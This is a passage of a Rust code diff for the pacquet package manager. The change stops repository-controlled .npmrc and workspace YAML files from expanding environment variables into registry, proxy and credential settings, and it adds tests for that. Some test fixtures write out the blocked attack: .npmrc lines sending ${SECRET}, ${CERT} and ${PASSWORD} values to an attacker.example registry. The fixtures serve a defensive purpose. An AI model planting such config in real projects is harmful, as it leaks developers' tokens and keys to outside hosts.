root.path().join("trusted-user.npmrc"); + fs::write(&user_npmrc_path, format!("registry={mocked_registry_url}\n")) + .expect("write user .npmrc"); + + eprintln!("Creating package.json..."); + let manifest_path = workspace.join("package.json"); + let package_json_content = serde_json::json!({ + "dependencies": { + "@pnpm.e2e/hello-world-js-bin-parent": "1.0.0", + }, + }); + fs::write(&manifest_path, package_json_content.to_string()).expect("write to package.json"); + + eprintln!("Executing command with PACQUET_TEST_REGISTRY set..."); + pacquet + .with_env("PACQUET_TEST_REGISTRY", "http://127.0.0.1:9/leaked/") + .with_arg("--npmrc-auth-file") + .with_arg(user_npmrc_path) + .with_arg("install") + .assert() + .success(); + + let symlink_path = workspace.join("node_modules/@pnpm.e2e/hello-world-js-bin-parent"); + let installed = is_symlink_or_junction(&symlink_path).unwrap(); + assert!(installed, "expected installed symlink/junction at {symlink_path:?}"); + + drop((root, mock_instance)); // cleanup +} + /// `@pnpm.e2e/abc-parent-with-missing-peers@1.0.0` depends on /// `@pnpm.e2e/abc@1.0.0`, which declares `peer-a`, `peer-b`, and /// `peer-c` as peer dependencies. The parent provides none of them. diff --git a/pacquet/crates/config/src/lib.rs b/pacquet/crates/config/src/lib.rs index a1d9a9a8d4..1f287c21f6 100644 --- a/pacquet/crates/config/src/lib.rs +++ b/pacquet/crates/config/src/lib.rs @@ -1640,9 +1640,9 @@ impl Config { self.modules_dir = start_dir.join("node_modules"); self.virtual_store_dir = start_dir.join("node_modules/.pnpm"); - // Read the nearest .npmrc (start_dir first, home second) and apply - // only the auth/network subset. Everything else is intentionally - // ignored. + // Read the project/workspace .npmrc plus trusted user-level sources + // and apply only the auth/network subset. Everything else is + // intentionally ignored. // // pnpm reads several `.npmrc` sources and merges them // (`user < auth.ini < workspace`), pinning each file's *unscoped* @@ -1656,8 +1656,44 @@ impl Config { // participates in the user-level path resolution below, and its // directory is where `auth.ini` lives. let global_config_dir = default_config_dir::(); - let global_settings = + let mut global_settings = global_config_dir.as_deref().map(WorkspaceSettings::load_global).transpose()?.flatten(); + if let Some(global_settings) = global_settings.as_mut() { + global_settings.substitute_env_trusted::(); + } + + // Resolve the workspace dir before reading the project `.npmrc` + // so subdirectory invocations use the workspace-root config, + // matching pnpm's `opts.workspaceDir ?? localPrefix` boundary. + let env_workspace_dir = Sys::var_os("NPM_CONFIG_WORKSPACE_DIR") + .or_else(|| Sys::var_os("npm_config_workspace_dir")) + .filter(|value| !value.is_empty()) + .map(PathBuf::from); + let workspace_yaml = if let Some(env_dir) = env_workspace_dir { + // Env-var path: load yaml directly from the env dir. A + // missing file is silent (matching upstream), but the + // re-anchor still fires because the user has explicitly + // told us where the workspace lives. + let yaml_path = env_dir.join(WORKSPACE_MANIFEST_FILENAME); + match fs::read_to_string(&yaml_path) { + Ok(text) => { + let settings: WorkspaceSettings = + serde_saphyr::from_str(&text).map_err(Box::new).map_err(|source| { + LoadWorkspaceYamlError::ParseYaml { path: yaml_path, source } + })?; + Some((env_dir, Some(settings))) + } + Err(error) if error.kind() == std::io::ErrorKind::NotFound => Some((env_dir, None)), + Err(source) => { + return Err(LoadWorkspaceYamlError::ReadFile { path: yaml_path, source }); + } + } + } else { + WorkspaceSettings::find_and_load(start_dir)?.map(|(path, settings)| { + let base_dir = path.parent().unwrap_or(start_dir).to_path_buf(); + (base_dir, Some(settings)) + }) + }; // Resolve the user-level `.npmrc` path. Precedence (pnpm's // [`index.ts:230`](https://github.com/pnpm/pnpm/blob/1819226b51/config/reader/src/index.ts#L230)): @@ -1682,16 +1718,22 @@ impl Config { // Build the merge sources in priority order (high → low): // project `.npmrc` > `auth.ini` > user-level `.npmrc`. Each is // parsed and rescoped independently before being folded together. - let parse_source = |text: String, dir: PathBuf, label: &str| { + let parse_trusted_source = |text: String, dir: PathBuf, label: &str| { let mut auth = crate::npmrc_auth::NpmrcAuth::from_ini::(&text, &dir); auth.rescope_unscoped(label); auth }; - let project_source = read_npmrc(start_dir) - .map(|text| parse_source(text, start_dir.to_path_buf(), "/.npmrc")); + let project_npmrc_dir = + workspace_yaml.as_ref().map(|(base_dir, _)| base_dir.as_path()).unwrap_or(start_dir); + let project_source = read_npmrc(project_npmrc_dir).map(|text| { + let mut auth = + crate::npmrc_auth::NpmrcAuth::from_project_ini::(&text, project_npmrc_dir); + auth.rescope_unscoped("/.npmrc"); + auth + }); let auth_ini_source = global_config_dir.as_deref().and_then(|dir| { read_npmrc_file(&dir.join("auth.ini")) - .map(|text| parse_source(text, dir.to_path_buf(), "auth.ini")) + .map(|text| parse_trusted_source(text, dir.to_path_buf(), "auth.ini")) }); let user_source = match &user_npmrc_path { Some(path) => read_npmrc_file(path).map(|text| { @@ -1700,10 +1742,11 @@ impl Config { // that's the empty path — i.e. the process cwd — never // the file itself. let dir = path.parent().map(|parent| parent.to_path_buf()).unwrap_or_default(); - parse_source(text, dir, "/.npmrc") + parse_trusted_source(text, dir, "/.npmrc") + }), + None => Sys::home_dir().and_then(|dir| { + read_npmrc(&dir).map(|text| parse_trusted_source(text, dir, "~/.npmrc")) }), - None => Sys::home_dir() - .and_then(|dir| read_npmrc(&dir).map(|text| parse_source(text, dir, "~/.npmrc"))), }; // Fold high-priority-first: the first present source is the @@ -1761,32 +1804,18 @@ impl Config { // must fire only when the user has *not* pinned a path. See // [`crate::store_path::resolve_store_dir`]. let mut store_dir_explicit = false; - if let Some(mut global_settings) = global_settings { + if let Some(global_settings) = global_settings { virtual_store_dir_explicit |= global_settings.virtual_store_dir.is_some(); global_virtual_store_dir_explicit |= global_settings.global_virtual_store_dir.is_some(); store_dir_explicit |= global_settings.store_dir.is_some(); - global_settings.substitute_env::(); let saved_workspace_dir = self.workspace_dir.take(); global_settings.apply_to(&mut self, start_dir); self.workspace_dir = saved_workspace_dir; } // Layer pnpm-workspace.yaml overrides on top. A missing file is - // silent. Read or parse failures propagate to the caller. - // - // Resolve the workspace dir: `NPM_CONFIG_WORKSPACE_DIR` - // override first (mirroring upstream's `findWorkspaceDir` and - // [`pacquet_workspace::find_workspace_dir`]; both must agree on - // where the workspace lives, otherwise the per-importer - // `SymlinkDirectDependencies` writes and the virtual store - // would end up in different directories). Fall back to the - // upward walk for `pnpm-workspace.yaml` when the env var is - // unset or empty. - // - // The env var is read here rather than via - // [`pacquet_workspace`] to avoid adding a cross-crate - // dependency just for the lookup — the contract is fixed by - // pnpm upstream, so the duplication is low-risk. + // silent. Read or parse failures propagated while resolving + // `workspace_yaml` above. // // Capture the "did yaml set this field" booleans *before* // applying yaml so the GVS derivation downstream can tell apart @@ -1795,36 +1824,6 @@ impl Config { // (SmartDefault wrote them in) and would either always or never // re-point them, neither of which matches upstream's // [`extendInstallOptions.ts:343-355`](https://github.com/pnpm/pnpm/blob/94240bc046/installing/deps-installer/src/install/extendInstallOptions.ts#L343-L355). - let env_workspace_dir = Sys::var_os("NPM_CONFIG_WORKSPACE_DIR") - .or_else(|| Sys::var_os("npm_config_workspace_dir")) - .filter(|value| !value.is_empty()) - .map(PathBuf::from); - let workspace_yaml = if let Some(env_dir) = env_workspace_dir { - // Env-var path: load yaml directly from the env dir. A - // missing file is silent (matching upstream), but the - // re-anchor still fires because the user has explicitly - // told us where the workspace lives. - let yaml_path = env_dir.join(WORKSPACE_MANIFEST_FILENAME); - match fs::read_to_string(&yaml_path) { - Ok(text) => { - let settings: WorkspaceSettings = - serde_saphyr::from_str(&text).map_err(Box::new).map_err(|source| { - LoadWorkspaceYamlError::ParseYaml { path: yaml_path, source } - })?; - Some((env_dir, Some(settings))) - } - Err(error) if error.kind() == std::io::ErrorKind::NotFound => Some((env_dir, None)), - Err(source) => { - return Err(LoadWorkspaceYamlError::ReadFile { path: yaml_path, source }); - } - } - } else { - WorkspaceSettings::find_and_load(start_dir)?.map(|(path, settings)| { - let base_dir = path.parent().unwrap_or(start_dir).to_path_buf(); - (base_dir, Some(settings)) - }) - }; - if let Some((base_dir, settings)) = workspace_yaml { // Re-anchor the path-valued defaults to the workspace root // before applying settings. Without this, a `pacquet install` @@ -1863,7 +1862,7 @@ impl Config { virtual_store_dir_explicit |= settings.virtual_store_dir.is_some(); global_virtual_store_dir_explicit |= settings.global_virtual_store_dir.is_some(); store_dir_explicit |= settings.store_dir.is_some(); - settings.substitute_env::(); + settings.substitute_env_untrusted::(); settings.apply_to(&mut self, &base_dir); } } @@ -1887,7 +1886,7 @@ impl Config { virtual_store_dir_explicit |= env_settings.virtual_store_dir.is_some(); global_virtual_store_dir_explicit |= env_settings.global_virtual_store_dir.is_some(); store_dir_explicit |= env_settings.store_dir.is_some(); - env_settings.substitute_env::(); + env_settings.substitute_env_trusted::(); let saved_workspace_dir = self.workspace_dir.clone(); env_settings.apply_to(&mut self, start_dir); self.workspace_dir = saved_workspace_dir; diff --git a/pacquet/crates/config/src/npmrc_auth.rs b/pacquet/crates/config/src/npmrc_auth.rs index f0cb2fcd08..e86df1b9be 100644 --- a/pacquet/crates/config/src/npmrc_auth.rs +++ b/pacquet/crates/config/src/npmrc_auth.rs @@ -125,6 +125,12 @@ pub(crate) struct RawCreds { pub password: Option, } +#[derive(Clone, Copy)] +struct ParseOptions { + expand_auth_value_env: bool, + expand_request_destination_env: bool, +} + impl RawCreds { fn is_empty(&self) -> bool { self.auth_token.is_none() @@ -150,6 +156,14 @@ impl RawCreds { const DEFAULT_REGISTRY: &str = "https://registry.npmjs.org/"; impl NpmrcAuth { + pub fn from_project_ini(text: &str, npmrc_dir: &Path) -> Self { + Self::from_ini_with_options::( + text, + npmrc_dir, + ParseOptions { expand_auth_value_env: false, expand_request_destination_env: false }, + ) + } + /// Parse an `.npmrc` file's contents and pick out the auth/network keys. /// Unknown keys are silently dropped. `${VAR}` placeholders inside keys /// and values are resolved via the [`EnvVar`] capability; unresolved @@ -170,6 +184,18 @@ impl NpmrcAuth { /// project `.npmrc` reachable via `pacquet --dir ` from a /// different cwd still finds its CA bundle (pnpm/pnpm#11726). pub fn from_ini(text: &str, npmrc_dir: &Path) -> Self { + Self::from_ini_with_options::( + text, + npmrc_dir, + ParseOptions { expand_auth_value_env: true, expand_request_destination_env: true }, + ) + } + + fn from_ini_with_options( + text: &str, + npmrc_dir: &Path, + opts: ParseOptions, + ) -> Self { let mut auth = NpmrcAuth::default(); for line in text.lines() { let line = line.trim(); @@ -185,7 +211,49 @@ impl NpmrcAuth { // Apply ${VAR} substitution to both the key and the value, // matching `readAndFilterNpmrc` in pnpm's `loadNpmrcFiles.ts`. // Unresolved placeholders become "" and are recorded as warnings. + if !opts.expand_request_destination_env + && has_env_placeholder(raw_key) + && is_request_destination_key(raw_key) + { + auth.warn_ignored_request_destination_env(raw_key); + continue; + } + if !opts.expand_auth_value_env + && has_env_placeholder(raw_key) + && is_auth_value_key(raw_key) + { + auth.warn_ignored_auth_value_env(raw_key); + continue; + } let (key, key_unresolved) = env_replace_lossy::(raw_key); + if !opts.expand_request_destination_env + && has_env_placeholder(raw_key) + && is_request_destination_key(&key) + { + auth.warn_ignored_request_destination_env(raw_key); + continue; + } + if !opts.expand_auth_value_env + && has_env_placeholder(raw_key) + && is_auth_value_key(&key) + { + auth.warn_ignored_auth_value_env(raw_key); + continue; + } + if !opts.expand_request_destination_env + && has_env_placeholder(raw_value) + && is_request_destination_value_key(&key) + { + auth.warn_ignored_request_destination_env(&key); + continue; + } + if !opts.expand_auth_value_env + && has_env_placeholder(raw_value) + && is_auth_value_key(&key) + { + auth.warn_ignored_auth_value_env(&key); + continue; + } let (value, value_unresolved) = env_replace_lossy::(raw_value); for placeholder in key_unresolved.into_iter().chain(value_unresolved) { auth.warnings.push(format!("Failed to replace env in config: {placeholder}")); @@ -281,6 +349,18 @@ impl NpmrcAuth { auth } + fn warn_ignored_request_destination_env(&mut self, key: &str) { + self.warnings.push(format!( + "Ignored project-level request destination {key:?}: environment variables are not expanded in repository-controlled registry or proxy URLs.", + )); + } + + fn warn_ignored_auth_value_env(&mut self, key: &str) { + self.warnings.push(format!( + "Ignored project-level auth setting {key:?}: environment variables are not expanded in repository-controlled registry credentials.", + )); + } + /// Resolve the TLS + `local-address` slots on `config.tls`. /// /// The transformations: @@ -580,6 +660,24 @@ fn parse_bool(value: &str) -> Option { } } +fn is_request_destination_key(key: &str) -> bool { + is_registry_key(key) || key.starts_with("//") +} + +fn is_request_destination_value_key(key: &str) -> bool { + is_registry_key(key) || matches!(key, "https-proxy" | "http-proxy" | "proxy") +} + +fn is_registry_key(key: &str) -> bool { + key == "registry" || (key.starts_with('@') && key.ends_with(":registry")) +} + +fn has_env_placeholder(value: &str) -> bool { + value + .match_indices("${") + .any(|(start, _)| value[start + 2..].find('}').is_some_and(|end| end > 0)) +} + /// Read a `cafile` path and split the contents on /// `-----END CERTIFICATE-----` to produce one PEM per certificate. /// Mirrors pnpm's @@ -682,6 +780,12 @@ fn base64_decode(input: &str) -> Option { /// mirroring `AUTH_SUFFIX_RE` from pnpm's `getNetworkConfigs.ts`. const CREDS_SUFFIXES: &[&str] = &["_authToken", "_auth", "_password", "username"]; +fn is_auth_value_key(key: &str) -> bool { + matches!(key, "_authToken" | "_auth" | "_password" | "username" | "cert" | "key") + || split_creds_key(key).is_some() + || split_inline_identity_key(key).is_some() +} + fn split_creds_key(key: &str) -> Option<(&str, &str)> { if !key.starts_with("//") { return None; @@ -746,6 +850,11 @@ fn split_ssl_key(key: &str) -> Option<(&str, &'static str, bool)> { None } +fn split_inline_identity_key(key: &str) -> Option<(&str, &'static str)> { + let (uri, field, is_file) = split_ssl_key(key)?; + (!is_file && matches!(field, "cert" | "key")).then_some((uri, field)) +} + /// Write a per-registry TLS value onto a [`RegistryTls`] entry. /// /// For inline values (`is_file = false`) the parser pre-expands `\n` diff --git a/pacquet/crates/config/src/npmrc_auth/tests.rs b/pacquet/crates/config/src/npmrc_auth/tests.rs index 8ecb4f0c2f..8103918e05 100644 --- a/pacquet/crates/config/src/npmrc_auth/tests.rs +++ b/pacquet/crates/config/src/npmrc_auth/tests.rs @@ -148,6 +148,147 @@ fn env_replace_substitutes_token() { ); } +#[test] +fn project_ini_ignores_env_placeholders_in_registry_urls() { + static_env!(EnvWithSecret, &[("SECRET", "leaked")]); + + let auth = NpmrcAuth::from_project_ini::( + "registry=https://registry.example.com/${SECRET}/\n", + Path::new(""), + ); + + assert_eq!(auth.registry, None); + assert!(auth.warnings.iter().any(|warning| warning.contains("registry"))); + + let mut config = Config::new(); + auth.apply_to::(&mut config); + assert!(!config.registry.contains("leaked")); +} + +#[test] +fn project_ini_ignores_env_placeholders_in_scoped_registry_urls() { + static_env!(EnvWithSecret, &[("SECRET", "leaked")]); + + let auth = NpmrcAuth::from_project_ini::( + "@scope:registry=https://registry.example.com/${SECRET}/\n", + Path::new(""), + ); + + assert!(auth.creds_by_uri.is_empty()); + assert!(auth.warnings.iter().any(|warning| warning.contains("@scope:registry"))); +} + +#[test] +fn trusted_ini_expands_env_placeholders_in_registry_urls() { + static_env!(EnvWithSecret, &[("SECRET", "trusted")]); + + let auth = NpmrcAuth::from_ini::( + "registry=https://registry.example.com/${SECRET}/\n", + Path::new(""), + ); + + assert_eq!(auth.registry.as_deref(), Some("https://registry.example.com/trusted/")); +} + +#[test] +fn project_ini_ignores_env_placeholders_in_url_scoped_keys() { + static_env!(EnvWithSecret, &[("SECRET", "leaked")]); + + let auth = NpmrcAuth::from_project_ini::( + "//registry.example.com/${SECRET}/:_authToken=token\n", + Path::new(""), + ); + + assert!(auth.creds_by_uri.is_empty()); + assert!( + auth.warnings + .iter() + .any(|warning| warning.contains("//registry.example.com/${SECRET}/:_authToken")), + ); +} + +#[test] +fn project_ini_ignores_env_placeholders_in_auth_values() { + static_env!( + EnvWithSecret, + &[ + ("CERT", "leaked-cert"), + ("KEY", "leaked-key"), + ("SECRET", "leaked"), + ("USER", "leaked-user"), + ("PASSWORD", "bGVha2Vk"), + ] + ); + + let auth = NpmrcAuth::from_project_ini::( + "\ +registry=https://attacker.example/ +//attacker.example/:_authToken=${SECRET} +//attacker.example/:cert=${CERT} +//attacker.example/:key=${KEY} +_authToken=${SECRET} +username=${USER} +_password=${PASSWORD} +cert=${CERT} +key=${KEY} +", + Path::new(""), + ); + + assert!(auth.creds_by_uri.is_empty()); + assert!(auth.tls_by_uri.is_empty()); + assert_eq!(auth.default_creds.auth_token, None); + assert_eq!(auth.default_creds.username, None); + assert_eq!(auth.default_creds.password, None); + assert_eq!(auth.cert, None); + assert_eq!(auth.key, None); + assert!( + auth.warnings.iter().any(|warning| warning.contains("Ignored project-level auth setting")), + ); + + let mut config = Config::new(); + auth.apply_to::(&mut config); + assert_eq!(config.auth_headers.for_url("https://attacker.example/pkg"), None); + assert_eq!(config.tls_by_uri.get("//attacker.example/"), None); +} + +#[test] +fn project_ini_keeps_literal_dollar_brace_fragments() { + let auth = NpmrcAuth::from_project_ini::( + "//attacker.example/:_authToken=literal${token\n", + Path::new(""), + ); + + assert_eq!( + auth.creds_by_uri.get("//attacker.example/").map(|creds| creds.auth_token.as_deref()), + Some(Some("literal${token")), + ); + assert_eq!(auth.warnings, Vec::::new()); +} + +#[test] +fn project_ini_ignores_env_placeholders_in_proxy_urls() { + static_env!(EnvWithSecret, &[("SECRET", "leaked")]); + + let auth = NpmrcAuth::from_project_ini::( + "\ +https-proxy=http://proxy.example.com/${SECRET}/ +http-proxy=http://proxy.example.com/${SECRET}/ +proxy=http://legacy-proxy.example.com/${SECRET}/ +", + Path::new(""), + ); + + assert_eq!(auth.https_proxy, None); + assert_eq!(auth.http_proxy, None); + assert_eq!(auth.legacy_proxy, None); + assert!( + auth.warnings + .iter() + .any(|warning| warning.contains("Ignored project-level request destination")), + ); +} + #[test] fn env_replace_failure_warns_and_drops_unresolved_to_empty() { // Mirrors pnpm's `substituteEnv` lossy fallback: unresolved `${VAR}` becomes diff --git a/pacquet/crates/config/src/tests.rs b/pacquet/crates/config/src/tests.rs index 200cc88743..f5adce9034 100644 --- a/pacquet/crates/config/src/tests.rs +++ b/pacquet/crates/config/src/tests.rs @@ -334,6 +334,76 @@ pub fn npmrc_auth_file_npm_config_userconfig_is_compat_fallback() { ); } +#[test] +pub fn global_config_npmrc_auth_file_expands_env() { + let xdg = tempdir().expect("xdg tempdir"); + let config_dir = xdg.path().join("pnpm"); + fs::create_dir_all(&config_dir).expect("create config dir"); + + let auth = tempdir().expect("auth tempdir"); + let auth_file = auth.path().join("global-npmrc"); + write_registry_auth_file(&auth_file, "https://global-auth.example.com/", "global-token"); + fs::write(config_dir.join("config.yaml"), "npmrcAuthFile: ${AUTH_FILE}\n") + .expect("write global config.yaml"); + + let project = tempdir().expect("project tempdir"); + set_fake_env(&[ + ("AUTH_FILE", auth_file.to_str().unwrap()), + ("XDG_CONFIG_HOME", xdg.path().to_str().unwrap()), + ]); + let config = load_with_fake_env(project.path()); + + assert_eq!( + config.auth_headers.for_url("https://global-auth.example.com/pkg").as_deref(), + Some("Bearer global-token"), + ); +} + +#[test] +pub fn global_config_yaml_request_destination_values_expand_env() { + let xdg = tempdir().expect("xdg tempdir"); + let config_dir = xdg.path().join("pnpm"); + fs::create_dir_all(&config_dir).expect("create config dir"); + fs::write( + config_dir.join("config.yaml"), + r#" +registry: https://${REGISTRY_HOST}/npm/ +pnprServer: https://${REGISTRY_HOST}/pnpr/ +namedRegistries: + work: https://${REGISTRY_HOST}/work/ +"#, + ) + .expect("write global config.yaml"); + + let project = tempdir().expect("project tempdir"); + set_fake_env(&[ + ("REGISTRY_HOST", "trusted.example.com"), + ("XDG_CONFIG_HOME", xdg.path().to_str().unwrap()), + ]); + let config = load_with_fake_env(project.path()); + + assert_eq!(config.registry, "https://trusted.example.com/npm/"); + assert_eq!(config.pnpr_server.as_deref(), Some("https://trusted.example.com/pnpr/")); + assert_eq!( + config.named_registries.get("work").map(String::as_str), + Some("https://trusted.example.com/work/"), + ); +} + +#[test] +pub fn pnpm_config_request_destinations_expand_env() { + let project = tempdir().expect("project tempdir"); + set_fake_env(&[ + ("PNPM_CONFIG_PNPR_SERVER", "https://${REGISTRY_HOST}/pnpr/"), + ("PNPM_CONFIG_REGISTRY", "https://${REGISTRY_HOST}/npm/"), + ("REGISTRY_HOST", "env.example.com"), + ]); + let config = load_with_fake_env(project.path()); + + assert_eq!(config.pnpr_server.as_deref(), Some("https://env.example.com/pnpr/")); + assert_eq!(config.registry, "https://env.example.com/npm/"); +} + fn write_file(path: &Path, contents: &str) { fs::write(path, contents).expect("write file"); } @@ -681,6 +751,21 @@ pub fn pnpm_workspace_yaml_found_by_walking_up() { assert!(!config.symlink); } +#[test] +pub fn workspace_subdir_reads_workspace_root_npmrc() { + let tmp = tempdir().unwrap(); + let nested = tmp.path().join("packages/web"); + fs::create_dir_all(&nested).unwrap(); + fs::write(tmp.path().join("pnpm-workspace.yaml"), "packages:\n - packages/*\n") + .expect("write to pnpm-workspace.yaml"); + fs::write(tmp.path().join(".npmrc"), "registry=https://workspace-npmrc.example/\n") + .expect("write to .npmrc"); + + let config = Config::new().current::(&nested).expect("config loads"); + + assert_eq!(config.registry, "https://workspace-npmrc.example/"); +} + #[test] pub fn test_current_folder_fallback_to_default() { let current_dir = tempdir().unwrap(); diff --git a/pacquet/crates/config/src/workspace_yaml.rs b/pacquet/crates/config/src/workspace_yaml.rs index e0a088ebfa..fba44e56e1 100644 --- a/pacquet/crates/config/src/workspace_yaml.rs +++ b/pacquet/crates/config/src/workspace_yaml.rs @@ -646,23 +646,52 @@ impl WorkspaceSettings { Ok(None) } - /// Expand `${VAR}` placeholders inside string-valued map fields - /// that pnpm runs through `envReplace`. Today only - /// `namedRegistries` qualifies — the upstream - /// [`replaceEnvInSettings`](https://github.com/pnpm/pnpm/blob/b61e268d57/config/reader/src/getOptionsFromRootManifest.ts#L66-L84) - /// pass routes `registries` and `namedRegistries` through - /// `replaceEnvInStringValues`; pacquet exposes only the latter - /// at the yaml layer. + /// Expand `${VAR}` in trusted user-controlled settings. /// - /// Call this before [`Self::apply_to`] so the substituted values - /// land in [`Config`]. - pub fn substitute_env(&mut self) { - if let Some(named_registries) = self.named_registries.as_mut() { - for value in named_registries.values_mut() { - let (substituted, _) = env_replace_lossy::(value); - *value = substituted; - } + /// Call this before [`Self::apply_to`] so expanded values land in + /// [`Config`]. + pub fn substitute_env_trusted(&mut self) { + self.substitute_env_scalars::(); + substitute_optional_string::(&mut self.pnpr_server); + substitute_optional_string::(&mut self.registry); + substitute_optional_string_map::(&mut self.named_registries); + } + + /// Expand `${VAR}` in ordinary string settings, but drop + /// placeholders inside workspace-controlled request-destination + /// fields. + /// The upstream + /// [`replaceEnvInSettings`](https://github.com/pnpm/pnpm/blob/b61e268d57/config/reader/src/getOptionsFromRootManifest.ts#L66-L84) + /// pass still runs `envReplace` on scalar strings while filtering + /// `registry`, `registries`, `namedRegistries`, and `pnprServer` + /// instead of expanding environment variables into request URLs. + /// + /// Call this before [`Self::apply_to`] so expanded values land in + /// [`Config`] and filtered values do not. + pub fn substitute_env_untrusted(&mut self) { + self.substitute_env_scalars::(); + + if self.registry.as_deref().is_some_and(has_env_placeholder) { + self.registry = None; } + if let Some(named_registries) = self.named_registries.as_mut() { + named_registries.retain(|_, value| !has_env_placeholder(value)); + } + if self.pnpr_server.as_deref().is_some_and(has_env_placeholder) { + self.pnpr_server = None; + } + } + + fn substitute_env_scalars(&mut self) { + substitute_optional_string::(&mut self.store_dir); + substitute_optional_string::(&mut self.modules_dir); + substitute_optional_string::(&mut self.virtual_store_dir); + substitute_optional_string::(&mut self.global_virtual_store_dir); + substitute_optional_string::(&mut self.user_agent); + substitute_optional_string::(&mut self.npmrc_auth_file); + substitute_optional_string::(&mut self.cache_dir); + substitute_optional_inner_string::(&mut self.script_shell); + substitute_optional_inner_string::(&mut self.node_options); } /// Apply every set field onto `config`, leaving unset ones untouched. @@ -875,6 +904,35 @@ impl WorkspaceSettings { } } +fn has_env_placeholder(value: &str) -> bool { + value + .match_indices("${") + .any(|(start, _)| value[start + 2..].find('}').is_some_and(|end| end > 0)) +} + +fn substitute_optional_string(value: &mut Option) { + if let Some(value) = value { + let (substituted, _) = env_replace_lossy::(value); + *value = substituted; + } +} + +fn substitute_optional_string_map(value: &mut Option>) { + if let Some(value) = value { + for map_value in value.values_mut() { + let (substituted, _) = env_replace_lossy::(map_value); + *map_value = substituted; + } + } +} + +fn substitute_optional_inner_string(value: &mut Option>) { + if let Some(Some(value)) = value { + let (substituted, _) = env_replace_lossy::(value); + *value = substituted; + } +} + fn resolve(base: &Path, value: &str) -> PathBuf { let candidate = Path::new(value); if candidate.is_absolute() { candidate.to_path_buf() } else { base.join(candidate) } diff --git a/pacquet/crates/config/src/workspace_yaml/tests.rs b/pacquet/crates/config/src/workspace_yaml/tests.rs index 75c7100ca5..b3822e33c3 100644 --- a/pacquet/crates/config/src/workspace_yaml/tests.rs +++ b/pacquet/crates/config/src/workspace_yaml/tests.rs @@ -166,14 +166,11 @@ namedRegistries: ); } -/// Env-var placeholders inside `namedRegistries` values expand on -/// the [`WorkspaceSettings::substitute_env`] pass, matching upstream's -/// [`replaceEnvInStringValues`](https://github.com/pnpm/pnpm/blob/b61e268d57/config/reader/src/getOptionsFromRootManifest.ts#L86-L93) -/// behaviour for the `namedRegistries` key. Substitution lands -/// before `apply_to` so the resolved URL is what ends up on -/// [`Config::named_registries`]. +/// Env-var placeholders inside workspace request destinations are ignored so +/// repository-controlled config cannot smuggle victim environment +/// values into outbound requests. #[test] -fn substitutes_env_vars_inside_named_registries_values() { +fn ignores_env_vars_inside_workspace_request_destination_values() { struct EnvWithHost; impl EnvVar for EnvWithHost { fn var(name: &str) -> Option { @@ -182,16 +179,96 @@ fn substitutes_env_vars_inside_named_registries_values() { } let yaml = r#" +pnprServer: https://${WORK_HOST}/pnpr/ +registry: https://${WORK_HOST}/npm/ namedRegistries: + literal: 'https://registry.example.com/${/npm/' + stable: https://registry.example.com/npm/ work: https://${WORK_HOST}/npm/ "#; let mut settings: WorkspaceSettings = serde_saphyr::from_str(yaml).unwrap(); - settings.substitute_env::(); + settings.substitute_env_untrusted::(); let mut config = Config::new(); settings.apply_to(&mut config, Path::new("/irrelevant")); + assert_eq!(config.pnpr_server, None); + assert_eq!(config.registry, "https://registry.npmjs.org/"); + assert_eq!( + config.named_registries.get("stable").map(String::as_str), + Some("https://registry.example.com/npm/"), + ); + assert_eq!( + config.named_registries.get("literal").map(String::as_str), + Some("https://registry.example.com/${/npm/"), + ); + assert_eq!(config.named_registries.get("work"), None); +} + +#[test] +fn expands_env_vars_inside_non_registry_workspace_values() { + struct EnvWithPaths; + impl EnvVar for EnvWithPaths { + fn var(name: &str) -> Option { + match name { + "CACHE_DIR" => Some("cache-dir".to_owned()), + "HOOK" => Some("hook.js".to_owned()), + "SHELL" => Some("custom-shell".to_owned()), + "STORE_DIR" => Some("store-dir".to_owned()), + "USER_AGENT" => Some("pacquet-test/1.0".to_owned()), + _ => None, + } + } + } + + let yaml = r#" +storeDir: ${STORE_DIR} +cacheDir: ${CACHE_DIR} +scriptShell: ${SHELL} +nodeOptions: --require=${HOOK} +userAgent: ${USER_AGENT} +"#; + let mut settings: WorkspaceSettings = serde_saphyr::from_str(yaml).unwrap(); + settings.substitute_env_untrusted::(); + + let base = Path::new("/workspace/root"); + let mut config = Config::new(); + settings.apply_to(&mut config, base); + + assert_eq!(config.store_dir, StoreDir::from(base.join("store-dir"))); + assert_eq!(config.cache_dir, base.join("cache-dir")); + assert_eq!(config.script_shell.as_deref(), Some("custom-shell")); + assert_eq!(config.node_options.as_deref(), Some("--require=hook.js")); + assert_eq!(config.user_agent, "pacquet-test/1.0"); +} + +#[test] +fn trusted_settings_expand_env_vars_inside_request_destination_values() { + struct EnvWithHost; + impl EnvVar for EnvWithHost { + fn var(name: &str) -> Option { + (name == "WORK_HOST").then(|| "internal.example.com".to_owned()) + } + } + + let yaml = r#" +pnprServer: https://${WORK_HOST}/pnpr/ +registry: https://${WORK_HOST}/npm/ +namedRegistries: + stable: https://registry.example.com/npm/ + work: https://${WORK_HOST}/work/ +"#; + let mut settings: WorkspaceSettings = serde_saphyr::from_str(yaml).unwrap(); + settings.substitute_env_trusted::(); + let mut config = Config::new(); + settings.apply_to(&mut config, Path::new("/irrelevant")); + assert_eq!(config.pnpr_server.as_deref(), Some("https://internal.example.com/pnpr/")); + assert_eq!(config.registry, "https://internal.example.com/npm/"); + assert_eq!( + config.named_registries.get("stable").map(String::as_str), + Some("https://registry.example.com/npm/"), + ); assert_eq!( config.named_registries.get("work").map(String::as_str), - Some("https://internal.example.com/npm/"), + Some("https://internal.example.com/work/"), ); } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9789a368a8..0451334457 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1043,6 +1043,7 @@ overrides: request: npm:postman-request@2.88.1-postman.40 semver@<7.5.2: ^7.8.1 send@<0.19.0: ^0.19.0 + shell-quote@<1.8.4: '>=1.8.4' serve-static@<1.16.0: ^1.16.0 socks@2: ^2.8.1 tar@<=7.5.9: '>=7.5.10' @@ -16241,8 +16242,8 @@ packages: resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} engines: {node: '>=8'} - shell-quote@1.8.3: - resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==} + shell-quote@1.8.4: + resolution: {integrity: sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==} engines: 